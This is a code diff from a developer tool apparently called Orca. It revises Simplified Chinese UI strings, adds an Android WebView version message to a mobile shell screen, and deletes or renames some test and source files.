+      "kimiEmptyAgentFilePath": "Kimi 收到了空的智能体文件路径。请修正生成预设或 CLI 参数中的该项输入，然后重试",
+      "kimiEmptyModel": "Kimi 收到的模型为空。请修正生成预设或 CLI 参数中的该项输入，然后重试",
+      "kimiEmptyPrompt": "Kimi 收到了空提示词。请修正生成预设或 CLI 参数中的该项输入，然后重试",
+      "kimiFailed": "Kimi 未能完成文本生成。请在执行主机上打开 Kimi，检查失败原因后再重试",
+      "kimiInterrupted": "Kimi 在完成文本生成前被中断。请重试",
+      "kimiModelMissing": "Kimi 未配置可用模型。请在执行主机上打开 Kimi，配置或选择模型，然后重试",
+      "kimiOptionRejected": "Kimi 拒绝了某个选项或参数。请修正生成预设或 CLI 参数，然后重试",
+      "kimiOutputFormatInvalid": "Kimi 输出格式需要提示词模式及受支持的 text 或 stream-json 值。请在重试前修正生成预设或 CLI 参数",
+      "kimiPromptHookBlocked": "Kimi 提示词钩子阻止了请求，或无法启动此轮交互。请在重试前检查 Kimi 钩子和配置",
+      "kimiProviderLimited": "Kimi 已达到提供者限制，或提供者正忙。请等待后再重试，或降低请求频率",
+      "kimiResponseBlocked": "Kimi 无法返回响应，因为响应被阻止。请在重试前修改提示词或模型配置",
+      "kimiSessionIdRequired": "Kimi 在提示词模式下恢复会话需要会话 ID。请修正生成预设或 CLI 参数，然后重试",
+      "kimiSessionNotFound": "Kimi 找不到请求的会话。请使用现有会话或启动新会话",
+      "kimiSessionOccupied": "Kimi 无法使用此会话，因为它在另一个客户端中处于活动状态。请在该客户端中停止会话或退出该客户端，然后重试",
+      "kimiSessionOtherDirectory": "此 Kimi 会话属于另一个目录。请在该目录中恢复会话，或使用为此工作区创建的会话",
+      "kimiUnreadableOutput": "Kimi 返回了 Orca 无法读取的输出。请重试",
+      "noBranchChanges": "没有可供总结的分支更改",
+      "noModelForAgent": "{{label}} 没有可用的模型",
+      "noStagedChanges": "没有可供总结的已暂存更改",
+      "openCodeInvalidEvents": "OpenCode 返回了无效的 JSON 事件",
+      "outputTooLarge": "{{label}} CLI 命令产生了过多输出。请检查智能体的 CLI 配置后重试",
+      "planAgentUnsupported": "智能体“{{agent}}”不支持 AI 提交信息",
+      "planCustomCommandEmpty": "自定义命令为空。请在设置 → Git → AI 提交信息中添加",
+      "planModelUnavailable": "模型“{{model}}”不可用于 {{label}}",
+      "planModelWithoutThinking": "模型“{{model}}”不支持思考强度设置",
+      "planThinkingLevelInvalid": "思考级别“{{level}}”对 {{model}} 无效",
+      "promptTooLargeForArgument": "{{label}} 的提示词过大，无法作为单个命令行参数传递。请减少暂存的更改后重试",
+      "promptTooLargeForWindows": "{{label}} 的提示词过大，无法用于 Windows 命令行。请减少暂存的更改后重试",
+      "pullRequestDetailsUnparseable": "无法解析生成的 PR 详情",
+      "sourceControlAgentUnsupported": "请在设置 -> Git -> 源代码控制 AI 中为此操作选择支持的智能体。支持的智能体：{{agents}}，或选择“自定义命令”",
+      "sourceControlCustomCommandEmpty": "自定义命令为空。请在设置 -> Git -> 源代码控制 AI 中添加",
+      "stagedChangesReadFailed": "无法读取已暂存的更改",
+      "timedOut": "生成在 {{seconds}} 秒后超时",
+      "windowsBatchUnsafeArguments": "{{label}} 通过 Windows 批处理脚本运行，该脚本无法将多行提示词作为参数接收。请在设置中指定智能体的可执行文件，或使用不含 {prompt} 的自定义命令，让 Orca 通过 stdin 发送提示词"
     },
     "useMobileCommitFailureRecovery": {
       "launchFailed": "启动智能体失败",
@@ -3344,6 +3351,9 @@
     "useMobileCommitMessageGeneration": {
       "generateFailed": "生成提交信息失败"
     },
+    "useMobileCreatePrRunner": {
+      "branchRequired": "创建 PR 前，请先检出分支"
+    },
     "useMobileGitRequests": {
       "actionFailed": "源代码控制操作失败",
       "branchUnavailable": "无法获取分支状态",
@@ -3360,8 +3370,8 @@
   },
   "tasks": {
     "composerSource": {
-      "baseFailed": "无法解析基础分支。",
-      "forkPushWarning": "此 PR 未开启“允许维护者编辑”；向 fork 仓库推送可能会被 GitHub 拒绝。"
+      "baseFailed": "无法解析基础分支",
+      "forkPushWarning": "此 PR 未开启“允许维护者编辑”；向 fork 仓库推送可能会被 GitHub 拒绝"
     },
     "detailCommentRenderers": {
       "commentPlaceholder": "添加评论",
@@ -3380,7 +3390,7 @@
       "changeStatus": "更改状态",
       "fieldHidden": "不在卡片上显示",
       "fieldShown": "在卡片上显示",
-      "fieldsSubtitle": "选择要在条目卡片上显示的项目字段。",
+      "fieldsSubtitle": "选择要在条目卡片上显示的项目字段",
       "fieldsTitle": "项目字段",
       "gitlabFilter": "GitLab 筛选",
       "gitlabView": "GitLab 视图",
@@ -3390,10 +3400,10 @@
       "linearIssue": "Linear 议题",
       "linearWorkspace": "Linear 工作区",
       "loadingStates": "正在加载状态…",
-      "noFields": "此视图没有可显示的额外字段。",
+      "noFields": "此视图没有可显示的额外字段",
       "noStates": "无可用状态",
       "switchWorkspaceFailed": "切换工作区失败",
-      "teamsSubtitle": "选择要在“任务”中显示的团队。",
+      "teamsSubtitle": "选择要在“任务”中显示的团队",
       "teamsTitle": "Linear 团队",
       "teams_one": "{{count}} 个团队",
       "teams_other": "{{count}} 个团队"
@@ -3413,33 +3423,39 @@
     },
     "githubProjectPickers": {
       "add": "添加",
-      "addByUrlHint": "使用“通过 URL 添加”来访问未列出的项目。",
+      "addByUrlHint": "使用“通过 URL 添加”来访问未列出的项目",
       "addPlaceholder": "通过 URL 或 owner/number 添加",
       "adding": "添加中…",
       "browseAll": "浏览全部",
       "browseLoading": "浏览全部（加载中…）",
       "chooseView": "选择项目视图",
       "loadFailed": "无法加载项目",
-      "noMatches": "没有匹配的项目。",
-      "noMoreProjects": "没有更多项目。",
+      "noMatches": "没有匹配的项目",
+      "noMoreProjects": "没有更多项目",
       "noProjects": "尚未加载任何项目",
       "organizationsError": "组织：{{message}}",
-      "organizationsLoadFailed": "{{count}} 个组织未能加载。",
-      "ownerLoadFailed": "无法加载 {{owner}} 的项目。",
+      "organizationsLoadFailed": "{{count}} 个组织未能加载",
+      "ownerLoadFailed": "无法加载 {{owner}} 的项目",
       "pin": "固定",
       "pinned": "已固定",
       "recent": "最近的",
-      "retryHint": "点按重试。",
+      "retryHint": "点按重试",
       "searchProjects": "搜索项目",
-      "subtitle": "为“任务”页面选择项目视图。",
+      "subtitle": "为“任务”页面选择项目视图",
       "title": "GitHub 项目",
-      "unsupportedLayout": "Orca 暂不支持此 GitHub 项目布局。",
+      "unsupportedLayout": "Orca 暂不支持此 GitHub 项目布局",
       "view": "项目视图"
     },
     "githubViewControls": {
       "openView": "在 GitHub 中打开视图"
     },
     "hostedMerge": {
+      "confirmGitHubMerge": "合并 PR #{{number}}？",
+      "confirmGitHubSquash": "压缩提交并合并 PR #{{number}}？",
+      "confirmGitHubRebase": "变基并合并 PR #{{number}}？",
+      "confirmGitLabMerge": "要将合并请求 #{{number}} 合并吗？",
+      "confirmGitLabSquash": "要将合并请求 #{{number}} 的提交压缩后合并吗？",
+      "confirmGitLabRebase": "要将合并请求 #{{number}} 变基后合并吗？",
       "merged": "已合并",
       "closed": "已关闭",
       "conflicts": "有冲突",
@@ -3454,7 +3470,7 @@
       "copyGitHubLink": "复制 GitHub 链接",
       "copyLinearLink": "复制 Linear 链接",
       "creating": "创建中…",
-      "mergeConflicts": "GitHub 报告存在合并冲突。",
+      "mergeConflicts": "GitHub 报告存在合并冲突",
       "mergeMergeRequest": "合并合并请求",
       "mergePullRequest": "合并 PR"
     },
@@ -3463,10 +3479,10 @@
       "checks": "检查项",
       "description": "描述",
       "discussion": "讨论",
-      "noChecks": "未找到检查项。",
-      "noComments": "暂无评论。",
-      "noPipelineRuns": "此 MR 没有运行任何管道。",
-      "noSubIssues": "没有子议题。",
+      "noChecks": "未找到检查项",
+      "noComments": "暂无评论",
+      "noPipelineRuns": "此 MR 没有运行任何管道",
+      "noSubIssues": "没有子议题",
       "none": "没有任何",
       "pipeline": "管道",
       "pipelineJobs_one": "{{count}} 个作业",
@@ -3485,8 +3501,8 @@
       "labels": "标签",
       "loadingAssignees": "正在加载负责人…",
       "loadingLabels": "正在加载标签…",
-      "noAssignableUsers": "未找到此仓库中可指派的用户。",
-      "noLabels": "此仓库没有标签。",
+      "noAssignableUsers": "未找到此仓库中可指派的用户",
+      "noLabels": "此仓库没有标签",
       "none": "没有任何",
       "removeLabels": "移除标签，以英文逗号分隔",
       "removeUsernames": "移除用户名，以英文逗号分隔",
@@ -3496,16 +3512,16 @@
       "updateLabels": "更新标签"
     },
     "itemReviewSections": {
-      "binaryFile": "二进制文件。",
+      "binaryFile": "二进制文件",
       "changedFilesTitle": "已更改文件",
       "descriptionPlaceholder": "描述",
-      "fileContentsUnavailable": "文件内容不可用。",
+      "fileContentsUnavailable": "文件内容不可用",
       "hideFile": "隐藏",
       "loadingReviewers": "正在加载评审人…",
       "markUnviewed": "标记未查看",
       "markViewed": "标记已查看",
-      "noDescription": "没有描述。",
-      "noReviewerSuggestions": "未找到推荐的评审人。",
+      "noDescription": "没有描述",
+      "noReviewerSuggestions": "未找到推荐的评审人",
       "noReviewersRequested": "未请求评审人",
       "requestReview": "请求评审",
       "reviewersPlaceholder": "邀请评审人",
@@ -3514,17 +3530,17 @@
       "viewFile": "查看"
     },
     "legacySurface": {
-      "loadIssuesFailed": "无法从 {{source}} 加载议题。",
+      "loadIssuesFailed": "无法从 {{source}} 加载议题",
       "mergeAction": "合并",
       "mergeMethodTitle": "合并方式",
       "mergePullRequestTitle": "合并 PR",
-      "mergeRequestMergeMessage": "请选择此合并请求的合并方式。",
+      "mergeRequestMergeMessage": "请选择此合并请求的合并方式",
       "mergeRequestTitle": "合并请求",
-      "pullRequestMergeMessage": "请选择此 PR 的合并方式。",
+      "pullRequestMergeMessage": "请选择此 PR 的合并方式",
       "retryLoadingIssues": "重试从 {{source}} 加载议题",
       "retrying": "正在重试…",
-      "sourceFallback": "{{repo}} 的首选议题来源 upstream 不可用，已改用 origin。",
-      "subIssueDataUnavailable": "您的token无法获取子议题数据。",
+      "sourceFallback": "{{repo}} 的首选议题来源 upstream 不可用，已改用 origin",
+      "subIssueDataUnavailable": "您的token无法获取子议题数据",
       "updateItemTitle": "更新条目"
     },
     "linearList": {
@@ -3535,10 +3551,10 @@
     },
     "listSurface": {
       "connectLinearButton": "连接 Linear",
-      "connectLinearMessage": "直接在“任务”中浏览并开始处理分配给您的 Linear 议题。",
+      "connectLinearMessage": "直接在“任务”中浏览并开始处理分配给您的 Linear 议题",
       "connectLinearTitle": "连接您的 Linear 账户",
       "jiraStatusFailed": "读取 Jira 状态失败",
-      "updateDesktopMessage": "此移动端“任务”视图需要更高版本的桌面端运行时。",
+      "updateDesktopMessage": "此移动端“任务”视图需要更高版本的桌面端运行时",
       "updateDesktopTitle": "更新 Orca 桌面端"
     },
     "options": {
@@ -3624,15 +3640,15 @@
     "prFileDiff": {
       "commentOnLine": "在第 {{line}} 行添加评论",
       "commentPlaceholder": "添加评审评论",
-      "noTextChanges": "未发现文本更改。",
-      "showingDiffLines": "显示前 {{limit}} 行差异，共 {{total}} 行。"
+      "noTextChanges": "未发现文本更改",
+      "showingDiffLines": "显示前 {{limit}} 行差异，共 {{total}} 行"
     },
     "projectComments": {
       "comments_one": "{{count}} 条评论",
       "comments_other": "{{count}} 条评论",
       "discussion": "讨论",
       "editComment": "编辑评论",
-      "noComments": "暂无评论。",
+      "noComments": "暂无评论",
       "reopenThread": "重新打开讨论串",
       "reply": "回复",
       "resolveThread": "解决讨论串",
@@ -3641,7 +3657,7 @@
       "show": "显示"
     },
     "projectDetailDrawer": {
-      "addRepositoryFromDesktop": "{{repository}} 尚未添加到 Orca。请在桌面应用中添加此仓库，然后刷新移动端的“任务”。",
+      "addRepositoryFromDesktop": "{{repository}} 尚未添加到 Orca。请在桌面应用中添加此仓库，然后刷新移动端的“任务”",
       "clearType": "清除类型",
       "closeItem": "关闭条目",
       "copyGitHubLink": "复制 GitHub 链接",
@@ -3652,8 +3668,8 @@
       "issueType": "议题类型",
       "loadingIssueTypes": "正在加载议题类型…",
       "mergePullRequest": "合并 PR",
-      "mergeRepositoryRequirement": "合并前需在 Orca 中添加此仓库。",
-      "noIssueTypes": "此仓库未配置议题类型。",
+      "mergeRepositoryRequirement": "合并前需在 Orca 中添加此仓库",
+      "noIssueTypes": "此仓库未配置议题类型",
       "noType": "无类型",
       "openInGitHub": "在 GitHub 中打开",
       "projectItem": "项目条目",
@@ -3663,15 +3679,15 @@
       "repositoryNotInOrca": "仓库不在 Orca 中",
       "status": "状态",
       "type": "类型",
-      "workspaceCreationRequirement": "只能从 GitHub 议题和 PR 创建工作区。"
+      "workspaceCreationRequirement": "只能从 GitHub 议题和 PR 创建工作区"
     },
     "projectFieldEditors": {
       "clearField": "清空字段",
       "completedIteration": "已完成 · {{startDate}} · {{duration}} 天",
       "datePlaceholder": "YYYY-MM-DD",
-      "invalidDate": "请按 YYYY-MM-DD 格式输入日期。",
-      "invalidNumber": "请输入有效数字。",
-      "noIterations": "暂无可用迭代。",
+      "invalidDate": "请按 YYYY-MM-DD 格式输入日期",
+      "invalidNumber": "请输入有效数字",
+      "noIterations": "暂无可用迭代",
       "numberPlaceholder": "数字",
       "projectFields": "项目字段",
       "saveField": "保存字段",
@@ -3684,26 +3700,26 @@
       "labels": "标签",
       "loadingAssignees": "正在加载负责人…",
       "loadingLabels": "正在加载标签…",
-      "noAssignableUsers": "未找到此仓库中可设为负责人的用户。",
-      "noDescription": "没有描述。",
-      "noLabels": "此仓库中没有标签。",
+      "noAssignableUsers": "未找到此仓库中可设为负责人的用户",
+      "noDescription": "没有描述",
+      "noLabels": "此仓库中没有标签",
       "none": "无",
       "saveDescription": "保存描述",
       "saveTitle": "保存标题",
       "title": "标题"
     },
     "projectReviewPanels": {
-      "binaryFile": "二进制文件。",
+      "binaryFile": "二进制文件",
       "changedFiles": "已更改文件",
       "checks": "检查项",
-      "fileUnavailable": "文件内容不可用。",
+      "fileUnavailable": "文件内容不可用",
       "hideFile": "隐藏",
       "loadingReviewers": "正在加载评审人…",
       "markUnviewed": "标记未查看",
       "markViewed": "标记已查看",
-      "noChecks": "未找到检查项。",
+      "noChecks": "未找到检查项",
       "noReviewers": "未请求评审人",
-      "noSuggestions": "未找到推荐的评审人。",
+      "noSuggestions": "未找到推荐的评审人",
       "requestReview": "请求评审",
       "requestReviewers": "邀请评审人",
       "rerunAll": "全部重新运行",
@@ -3727,18 +3743,18 @@
       "allRepositories": "所有仓库",
       "githubView": "GitHub 视图",
       "issueSources": "GitHub 议题来源",
-      "issueSourcesDescription": "选择每个仓库从 upstream 还是 origin 查询和创建工作项。",
+      "issueSourcesDescription": "选择每个仓库从 upstream 还是 origin 查询和创建工作项",
       "issues": "议题",
-      "noIssueSources": "没有其他可用的议题来源。",
+      "noIssueSources": "没有其他可用的议题来源",
       "origin": "origin",
-      "pageHint": "跳转到已加载或可用的结果页。",
+      "pageHint": "跳转到已加载或可用的结果页",
       "pageLoaded": "已加载",
       "pageNotLoaded": "加载更早的结果",
       "pageNumber": "第 {{page}} 页",
       "pages": "GitHub 结果页",
       "pullRequests": "PR",
       "queryingSource": "正在查询 {{source}}",
-      "repoDescription": "选择要查询的仓库。",
+      "repoDescription": "选择要查询的仓库",
       "repos": "仓库",
       "upstream": "上游"
     },
@@ -3786,8 +3802,8 @@
       "smart": "智能"
     },
     "sparsePresetDraft": {
-      "directoryRequired": "添加至少一个目录。",
-      "repoRelativeDirectoriesRequired": "使用仓库相对目录，而不是根目录、绝对路径或父段。"
+      "directoryRequired": "添加至少一个目录",
+      "repoRelativeDirectoriesRequired": "使用仓库相对目录，而不是根目录、绝对路径或父段"
     },
     "taskViewOptions": {
       "allSubtitle": "所选站点中未解决的议题",
@@ -3808,16 +3824,16 @@
       "descriptionPlaceholder": "补充背景信息",
       "fileIn": "在 {{slug}} 中创建议题",
       "issueSource": "议题来源",
-      "keySecurityHint": "密钥通过主机操作系统的钥匙串加密，并存储在本地。",
-      "linearConnectSubtitle": "粘贴个人 API 密钥，即可浏览该工作区的议题。",
+      "keySecurityHint": "密钥通过主机操作系统的钥匙串加密，并存储在本地",
+      "linearConnectSubtitle": "粘贴个人 API 密钥，即可浏览该工作区的议题",
       "linearSettingsLink": "Linear 设置 / 安全 / 新建 API 密钥",
       "linearTeam": "Linear 团队",
-      "linearTeamSubtitle": "在所选 Linear 团队中创建议题。",
+      "linearTeamSubtitle": "在所选 Linear 团队中创建议题",
       "newIssueTitle": "新建 {{providerLabel}} 议题",
       "origin": "origin",
       "personalApiKey": "个人API密钥",
       "repository": "仓库",
-      "repositorySubtitle": "在所选仓库中创建议题。",
+      "repositorySubtitle": "在所选仓库中创建议题",
       "team": "团队",
       "title": "标题",
       "titlePlaceholder": "任务标题",
@@ -3827,7 +3843,7 @@
       "blankTerminal": "空白终端"
     },
     "workspaceCreateDrawer": {
-      "addRepository": "创建 Linear 工作区前，请先添加 Git 仓库。",
+      "addRepository": "创建 Linear 工作区前，请先添加 Git 仓库",
       "advanced": "高级",
       "agent": "智能体",
       "connectFirst": "请先连接仓库",
@@ -3836,20 +3852,20 @@
       "detectingAgents": "正在检测智能体…",
       "remoteRepository": "远程仓库",
       "repository": "仓库",
-      "repositoryNotFound": "未找到仓库。",
+      "repositoryNotFound": "未找到仓库",
       "selectRepository": "选择仓库",
       "startFrom": "创建起点",
       "title": "创建工作区",
       "workspaceName": "工作区名称"
     },
     "workspaceCreateProjection": {
-      "nameAlreadyExists": "“{{name}}”已存在。",
-      "nameRequired": "请输入名称。",
-      "nameTooLong": "名称不能超过80个字符。",
+      "nameAlreadyExists": "“{{name}}”已存在",
+      "nameRequired": "请输入名称",
+      "nameTooLong": "名称不能超过80个字符",
       "openShell": "打开 shell"
     },
     "workspaceOptionPickers": {
-      "baseBranchSubtitle": "选择现有分支或引用。",
+      "baseBranchSubtitle": "选择现有分支或引用",
       "baseBranchTitle": "创建起点",
       "branchName": "分支名称：{{name}}",
       "defaultBranch": "默认分支",
@@ -3858,7 +3874,7 @@
       "fullCheckout": "完整检出",
       "fullCheckoutSubtitle": "使用整个仓库",
       "newPreset": "新预设",
-      "noBranches": "没有匹配的分支。",
+      "noBranches": "没有匹配的分支",
       "searchBranches": "搜索分支",
       "sparseCheckoutTitle": "稀疏检出"
     },
@@ -3889,11 +3905,11 @@
       "runSetupTitle": "运行 {{name}} 的设置脚本？",
       "setupChangedTitle": "{{name}} 的设置脚本已更改",
       "setupScript": "设置脚本",
-      "setupSubtitle": "创建此工作区前，请选择是否运行 {{name}} 的设置脚本。",
+      "setupSubtitle": "创建此工作区前，请选择是否运行 {{name}} 的设置脚本",
       "setupTitle": "运行设置脚本？",
       "skipSetupAndCreate": "跳过设置脚本并创建",
-      "trustFailed": "无法将设置脚本设为可信。",
-      "trustSubtitle": "工作区启动前，此仓库的 orca.yaml 会在您的电脑上运行。请仅在信任此仓库时运行。"
+      "trustFailed": "无法将设置脚本设为可信",
+      "trustSubtitle": "工作区启动前，此仓库的 orca.yaml 会在您的电脑上运行。请仅在信任此仓库时运行"
     },
     "worktreeCreateRetry": {
       "createFailed": "创建工作区失败"
@@ -3944,13 +3960,13 @@
     "shellStateScreen": {
       "checkingHost": "正在检查主机",
       "connectToDownload": "连接到此主机以下载最新版本的应用",
-      "documentLoadFailed": "无法打开已下载的应用。",
-      "downloadFailed": "无法从此主机下载最新版本的应用。",
-      "hostProfileUnreadable": "无法在此设备上读取此主机的信息。请重试。",
-      "isolationUnavailable": "此设备的 WebView 版本过旧，无法安全打开工作区。",
+      "documentLoadFailed": "无法打开已下载的应用",
+      "downloadFailed": "无法从此主机下载最新版本的应用",
+      "hostProfileUnreadable": "无法在此设备上读取此主机的信息。请重试",
+      "isolationUnavailable": "此设备的 WebView 版本过旧，无法安全打开工作区",
       "openingWorkspace": "正在打开工作区",
-      "renderProcessGone": "工作区已停止响应。",
-      "statusUnreadable": "无法读取此主机的状态。请返回后重新打开。",
+      "renderProcessGone": "工作区已停止响应",
+      "statusUnreadable": "无法读取此主机的状态。请返回后重新打开",
       "tryAgain": "重试"
     }
   },
@@ -3958,8 +3974,8 @@
     "branchChoice": {
       "automaticName": "自动命名",
       "existing": "现有分支",
-      "existingHint": "新提交将添加到此分支。",
-      "hostUpdateRequired": "请更新工作区主机上的 Orca，以复用分支或明确选择创建独立分支。",
+      "existingHint": "新提交将添加到此分支",
+      "hostUpdateRequired": "请更新工作区主机上的 Orca，以复用分支或明确选择创建独立分支",
       "newHint": "创建新的本地分支",
       "newName": "新分支名称",
       "title": "此工作树使用的分支"
@@ -3993,7 +4009,7 @@
       "noFilterMatches": "没有符合筛选条件的工作区",
       "noMatches": "没有匹配的工作区",
       "reopen": "重新打开以更新",
-      "reopenDetail": "此页面尚无法识别此主机的工作区列表格式。"
+      "reopenDetail": "此页面尚无法识别此主机的工作区列表格式"
     },
     "workspaceListSections": {
       "all": "全部",
diff --git a/mobile/src/i18n/page-locale-catalog-source.test.ts b/mobile/src/i18n/page-locale-catalog-source.test.ts
index d69a92dc1b2..98d2ab77a1a 100644
--- a/mobile/src/i18n/page-locale-catalog-source.test.ts
+++ b/mobile/src/i18n/page-locale-catalog-source.test.ts
@@ -204,15 +204,4 @@ describe('the page language catalog', () => {
     expect(i18n.getMobileUiLocale()).toBe('ko')
     expect(i18n.translate('greeting', 'Hello')).toBe('안녕하세요')
   })
-
-  it('imports the chunk an older shell left on disk, with no wait and no request', async () => {
-    chunksOnDisk.set('es', { greeting: 'Hola' })
-    const client = fakeClient('reconnecting')
-    openPage(client, fakeStore({}))
-
-    await i18n.activateMobileUiLocale('es')
-
-    expect(i18n.translate('greeting', 'Hello')).toBe('Hola')
-    expect(client.sent).toHaveLength(0)
-  })
 })
diff --git a/mobile/src/mobile-web-shell/ShellStateScreen.tsx b/mobile/src/mobile-web-shell/ShellStateScreen.tsx
index d22e7e2c055..bc9d7ccaa91 100644
--- a/mobile/src/mobile-web-shell/ShellStateScreen.tsx
+++ b/mobile/src/mobile-web-shell/ShellStateScreen.tsx
@@ -1,5 +1,6 @@
 import type { ReactNode } from 'react'
-import { Pressable, Text, View } from 'react-native'
+import { Platform, Pressable, Text, View } from 'react-native'
+import { currentWebViewProvider } from '../../modules/orca-mobile-web-shell/src'
 import { ProtocolBlockScreen } from '../components/ProtocolBlockScreen'
 import { colors, radii, spacing, typography } from '../theme/mobile-theme'
 import { themedStyleSheet } from '../theme/themed-styles'
@@ -65,11 +66,30 @@ function Failed({
   useMobileColorScheme()
   // Retry cannot change a settled isolation gate or give an unsupported WebView the missing fence.
   const retryable = state.reason !== 'isolation-unavailable' && state.reason !== 'status-unreadable'
+  const provider = state.reason === 'isolation-unavailable' ? currentWebViewProvider() : null
+  // Unknown provider (older binary): a missing feature is still the likely cause.
+  const webViewTooOld =
+    Platform.OS === 'android' &&
+    state.reason === 'isolation-unavailable' &&
+    provider?.hasShellFeatures !== true
   return (
     <Centered>
       <Text style={styles.failedMessage} testID="mobile-web-shell-failed">
-        {failureMessage(state.reason, t)}
+        {webViewTooOld
+          ? t(
+              'webShell.shellStateScreen.isolationUnavailableAndroid',
+              'Orca needs Android System WebView or Chrome 101 or newer. Update it from the Play Store, or pick a newer one in Developer options > WebView implementation.'
+            )
+          : failureMessage(state.reason, t)}
       </Text>
+      {webViewTooOld && provider ? (
+        <Text style={styles.failedDetail}>
+          {t('webShell.shellStateScreen.webViewInUse', 'This device has {{name}} {{version}}.', {
+            name: provider.name,
+            version: provider.version
+          })}
+        </Text>
+      ) : null}
       {retryable ? (
         <Pressable
           style={({ pressed }) => [styles.retryButton, pressed && styles.pressed]}
@@ -160,6 +180,12 @@ const styles = themedStyleSheet(() => ({
     textAlign: 'center',
     marginBottom: spacing.lg
   },
+  failedDetail: {
+    fontSize: typography.metaSize,
+    color: colors.textSecondary,
+    textAlign: 'center',
+    marginBottom: spacing.lg
+  },
   retryButton: {
     backgroundColor: colors.bgRaised,
     paddingVertical: spacing.sm + 2,
diff --git a/mobile/src/mobile-web-shell/generation-store-file-system.test.ts b/mobile/src/mobile-web-shell/generation-store-file-system.test.ts
deleted file mode 100644
index 7b170ea268f..00000000000
--- a/mobile/src/mobile-web-shell/generation-store-file-system.test.ts
+++ /dev/null
@@ -1,31 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-
-// Mock the import-time native module to test only the URI converter.
-vi.mock('expo-file-system', () => ({
-  Directory: class {},
-  File: class {},
-  Paths: { cache: '' }
-}))
-
-import { generationDirectoryPath } from './generation-store-file-system'
-
-describe('generationDirectoryPath', () => {
-  it('hands the native view the absolute path both loaders demand', () => {
-    expect(
-      generationDirectoryPath('file:///var/mobile/Caches/mobile-web/abc/generations/def')
-    ).toBe('/var/mobile/Caches/mobile-web/abc/generations/def')
-    expect(generationDirectoryPath('file:///data/user/0/com.stably.orca.mobile/cache/mw')).toBe(
-      '/data/user/0/com.stably.orca.mobile/cache/mw'
-    )
-  })
-
-  it('decodes what a uri escaped and a path spells literally', () => {
-    expect(generationDirectoryPath('file:///var/Orca%20Mobile/mobile-web')).toBe(
-      '/var/Orca Mobile/mobile-web'
-    )
-  })
-
-  it('leaves a value that is already a path alone, so nobody can decode one twice', () => {
-    expect(generationDirectoryPath('/var/mobile/Caches/100%25')).toBe('/var/mobile/Caches/100%25')
-  })
-})
diff --git a/mobile/src/mobile-web-shell/generation-store.test.ts b/mobile/src/mobile-web-shell/generation-store.test.ts
deleted file mode 100644
index 7b5ebd20edf..00000000000
--- a/mobile/src/mobile-web-shell/generation-store.test.ts
+++ /dev/null
@@ -1,100 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { createGenerationStore } from './generation-store'
-import { deriveHostCacheKey } from './host-cache-key'
-import type { MobileWebBundleFetchResult } from '../transport/web-bundle/mobile-web-bundle-fetch'
-import { computeMobileWebBundleId } from '../../../src/shared/mobile-web-bundle/manifest-contract'
-import {
-  createFakeGenerationFileSystem as createFakeFileSystem,
-  FAKE_GENERATION_ROOT
-} from './generation-file-system-fake'
-
-const ROOT = FAKE_GENERATION_ROOT
-const HOST = deriveHostCacheKey('host-a')
-
-function buildResult(options: {
-  buildId?: string
-  assets?: readonly { path: string; byteLength: number; kind?: string }[]
-  bytes?: ReadonlyMap<string, Uint8Array>
-}): MobileWebBundleFetchResult {
-  const listed = options.assets ?? [
-    { path: 'index.html', byteLength: 4 },
-    { path: 'assets/app.js', byteLength: 2 }
-  ]
-  const assets = listed.map((asset, index) => ({
-    path: asset.path,
-    sha256: String(index).repeat(64).slice(0, 64),
-    byteLength: asset.byteLength,
-    contentType: 'text/html; charset=utf-8',
-    ...(asset.kind === undefined ? {} : { kind: asset.kind })
-  }))
-  const totalBytes = assets.reduce((sum, asset) => sum + asset.byteLength, 0)
-  return {
-    manifest: {
-      schemaVersion: 1,
-      buildId: options.buildId ?? computeMobileWebBundleId(assets),
-      minCompatibleRuntimeProtocolVersion: 2,
-      runtimeProtocolVersion: 2,
-      entrypoint: 'index.html',
-      totalBytes,
-      assets
-    },
-    assets:
-      options.bytes ??
-      new Map(assets.map((asset) => [asset.path, new Uint8Array(asset.byteLength).fill(7)])),
-    reused: [],
-    totalBytes,
-    elapsedMs: 1
-  }
-}
-
-// Derive ids from assets so the cached manifest passes its digest check.
-const BUILD = buildResult({}).manifest.buildId
-const SECOND = { assets: [{ path: 'index.html', byteLength: 8 }] }
-const SECOND_BUILD = buildResult(SECOND).manifest.buildId
-
-async function activate(
-  store: ReturnType<typeof createGenerationStore>,
-  hostKey: string,
-  result = buildResult({})
-): Promise<void> {
-  await store.commitGeneration(await store.stageGeneration(hostKey, result))
-}
-
-// Commit deletes the old build first, so it must not run under a page still loading that build's chunks.
-describe('an update staged behind a live page', () => {
-  it('stays staged while a page reads the old build, and the next read after it commits', async () => {
-    const fs = createFakeFileSystem()
-    const store = createGenerationStore({ fileSystem: fs })
-    await activate(store, HOST)
-    const release = store.holdGeneration(HOST)
-    store.deferCommit(await store.stageGeneration(HOST, buildResult(SECOND)))
-
-    expect((await store.readActiveGeneration(HOST))?.buildId).toBe(BUILD)
-    expect(await fs.fileExists(`${ROOT}/${HOST}/generations/${BUILD}/index.html`)).toBe(true)
-
-    release()
-    expect((await store.readActiveGeneration(HOST))?.buildId).toBe(SECOND_BUILD)
-    expect(await fs.fileExists(`${ROOT}/${HOST}/generations/${BUILD}/index.html`)).toBe(false)
-  })
-
-  it('stages a build without its language-catalog chunks and still commits it at the next launch', async () => {
-    const fs = createFakeFileSystem()
-    const first = createGenerationStore({ fileSystem: fs })
-    await activate(first, HOST)
-    first.holdGeneration(HOST)
-    const withCatalog = buildResult({
-      assets: [
-        { path: 'index.html', byteLength: 8 },
-        { path: 'assets/de.js', byteLength: 3, kind: 'catalog' }
-      ],
-      bytes: new Map([['index.html', new Uint8Array(8)]])
-    })
-    first.deferCommit(await first.stageGeneration(HOST, withCatalog))
-
-    const relaunched = createGenerationStore({ fileSystem: fs })
-
-    const build = withCatalog.manifest.buildId
-    expect((await relaunched.readActiveGeneration(HOST))?.buildId).toBe(build)
-    expect(await fs.fileExists(`${ROOT}/${HOST}/generations/${build}/assets/de.js`)).toBe(false)
-  })
-})
diff --git a/mobile/src/mobile-web-shell/generation-asset-path.ts b/mobile/src/mobile-web-shell/generations/generation-asset-path.ts
similarity index 100%
rename from mobile/src/mobile-web-shell/generation-asset-path.ts
rename to mobile/src/mobile-web-shell/generations/generation-asset-path.ts
diff --git a/mobile/src/mobile-web-shell/generation-cache-uri.ts b/mobile/src/mobile-web-shell/generations/generation-cache-uri.ts
similarity index 100%
rename from mobile/src/mobile-web-shell/generation-cache-uri.ts
rename to mobile/src/mobile-web-shell/generations/generation-cache-uri.ts
